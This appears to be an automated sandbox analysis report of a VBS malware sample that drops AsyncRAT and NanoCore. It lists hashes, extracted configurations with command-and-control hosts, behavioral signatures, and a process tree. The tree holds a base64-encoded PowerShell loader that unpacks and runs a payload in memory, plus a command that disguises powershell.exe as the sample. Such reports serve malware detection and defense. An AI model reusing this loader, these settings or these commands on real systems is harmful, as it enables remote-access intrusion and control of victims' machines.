Resubmissions
28-08-2024 22:22
240828-2al3mazana 1028-08-2024 21:59
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240827-dl39aa1gpm 10Analysis
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max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
28-08-2024 21:59
Static task
static1
Behavioral task
behavioral1
Sample
c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs
Resource
win7-20240704-en
General
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Target
c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs
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Size
2.0MB
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MD5
3096f8476512077adacad2e66cd9535e
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SHA1
8ddfbf4ea1bb26fecb75ff9482529060351f5c82
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SHA256
c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd
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SHA512
277c34f5300e6e4b2129dd8aae4e68c226dee549601d0fb12323d86588492ea810cbe9ffcecda66c7680f2af6e76a7d7532d7a09d1cd59d639980ae06ac5188f
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SSDEEP
24576:9f5HNlz6GydnATwu6JRnDB/4G8jslVZCNct1hMYnnEhKEw7nmlLW+r1/YrK88skH:pNTmJT/QglCN07ir4f6MJk8nO
Malware Config
Extracted
asyncrat
0.5.7B
Default
onlineisofilelandersbaseballer1.mrbonus.com:7011
AsyncMutex_6SI8OkPnk
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delay
3
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install
false
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install_folder
%AppData%
Extracted
nanocore
1.2.2.0
e-businessloader.mywire.org:5230
127.0.0.1:5230
0be0e5d9-4209-4f88-b4fe-27e7b678a0b5
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activate_away_mode
true
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backup_connection_host
127.0.0.1
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backup_dns_server
8.8.4.4
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buffer_size
65535
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build_time
2024-03-16T21:32:38.702958636Z
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bypass_user_account_control
true
- bypass_user_account_control_data
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clear_access_control
true
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clear_zone_identifier
false
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connect_delay
4000
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connection_port
5230
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default_group
e-business
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enable_debug_mode
true
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gc_threshold
1.048576e+07
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keep_alive_timeout
30000
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keyboard_logging
false
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lan_timeout
2500
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max_packet_size
1.048576e+07
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mutex
0be0e5d9-4209-4f88-b4fe-27e7b678a0b5
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mutex_timeout
5000
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prevent_system_sleep
false
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primary_connection_host
e-businessloader.mywire.org
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primary_dns_server
8.8.8.8
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request_elevation
true
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restart_delay
5000
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run_delay
0
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run_on_startup
true
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set_critical_process
true
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timeout_interval
5000
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use_custom_dns_server
false
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version
1.2.2.0
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wan_timeout
8000
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 956 1696 cmd.exe 84 -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2020 created 3584 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 56 -
Async RAT payload 1 IoCs
resource yara_rule behavioral2/files/0x001100000002344c-1116.dat family_asyncrat -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe -
Executes dropped EXE 2 IoCs
pid Process 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 4808 AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ruevjirwl = "C:\\Users\\Admin\\AppData\\Roaming\\Ruevjirwl.vbs" c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2020 set thread context of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ WScript.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 3232 InstallUtil.exe 3232 InstallUtil.exe 3232 InstallUtil.exe 3232 InstallUtil.exe 3232 InstallUtil.exe 3232 InstallUtil.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3232 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe Token: SeDebugPrivilege 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe Token: SeDebugPrivilege 3232 InstallUtil.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1952 wrote to memory of 2020 1952 WScript.exe 90 PID 1952 wrote to memory of 2020 1952 WScript.exe 90 PID 1952 wrote to memory of 2020 1952 WScript.exe 90 PID 2020 wrote to memory of 4808 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 98 PID 2020 wrote to memory of 4808 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 98 PID 2020 wrote to memory of 4808 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 98 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99 PID 2020 wrote to memory of 3232 2020 c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe 99
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3584
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe"C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" -enc JABWAGwAbgBmAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAWQBiAGsAbwBhACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAVgBsAG4AZgByACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEYAZABqAGcAagAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABZAGIAawBvAGEALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEEAcABnAGoAcABqAGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEYAZABqAGcAagAgACkAOwAkAFcAdQB3AHUAaAB1AGMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABBAHAAZwBqAHAAagBqACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABZAGcAbwB5AGkAdgBlAG4AbgBvAC4AQwBvAHAAeQBUAG8AKAAgACQAVwB1AHcAdQBoAHUAYwBoACAAKQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAuAEMAbABvAHMAZQAoACkAOwAkAEEAcABnAGoAcABqAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABGAGQAagBnAGoAIAA9ACAAJABXAHUAdwB1AGgAdQBjAGgALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEYAZABqAGcAagApADsAIAAkAEMAaQB4AHoAbwBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARgBkAGoAZwBqACkAOwAgACQATABqAGoAdwBlAHIAZgBuAGcAIAA9ACAAJABDAGkAeAB6AG8AZgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEwAagBqAHcAZQByAGYAbgBnAC4ARABlAGMAbABhAHIAaQBuAGcAVAB5AHAAZQAsACAAJABMAGoAagB3AGUAcgBmAG4AZwAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4808
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3232
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C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" /Y1⤵
- Process spawned unexpected child process
PID:956
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
47KB
MD5159c90b70a434849067541ea6242addf
SHA1a8fa40329afa1d5ebab79cdde6863c81e15f0735
SHA2565982b94c5faf43027f7c8beb54f393619d718ce2afb1a2ecf98a40b7ee97fb4c
SHA51292974a835a7652e9396630cd4fc88d06f01e4ad1ec6f7f8e8bfeb614c0611a8d281359b518cbad21536c432ffd8e6d0bab74209fb0f1c1d62f18de5e049e50db
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
Filesize423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc